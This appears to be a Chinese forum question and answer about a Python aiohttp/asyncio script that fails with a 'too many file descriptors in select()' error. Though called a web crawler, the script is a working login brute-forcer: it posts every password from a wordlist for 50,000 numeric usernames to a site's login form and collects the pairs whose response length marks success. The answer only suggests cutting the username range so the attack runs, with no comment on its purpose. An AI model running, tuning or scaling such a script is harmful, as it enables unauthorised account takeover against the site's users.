用aiohttp和asyncio构建的网络爬虫如果url太多,出现错误提示:ValueError: too many file descriptors in select()
import aiohttp
import asyncio
import time
timeclock=time.clock()
pwd_all=[]
with open("pwd.txt","r+",encoding='utf-8') as fob:
for b in fob.readlines():
pwd_all.append(b.strip())
oklist=[]
async def hello(name):
async with aiohttp.ClientSession() as session:
for pwd in pwd_all:
payload={'name':name,'password':pwd}
async with session.post('http://www.xxxxxxx.com',data=payload) as resp:
backdata=await resp.text()
if len(backdata)==376:
oklist.append("{}:{}".format(name,pwd))
break
loop = asyncio.get_event_loop()
tasks = [hello(str(uname)) for uname in range(10000,60000)]
loop.run_until_complete(asyncio.wait(tasks))
loop.close()
print(oklist)
print("time is:"+str(time.clock()-timeclock))
tasks = [hello(str(uname)) for uname in range(10000,12000)]
先改小一点,一上来就5万个,扯着蛋了~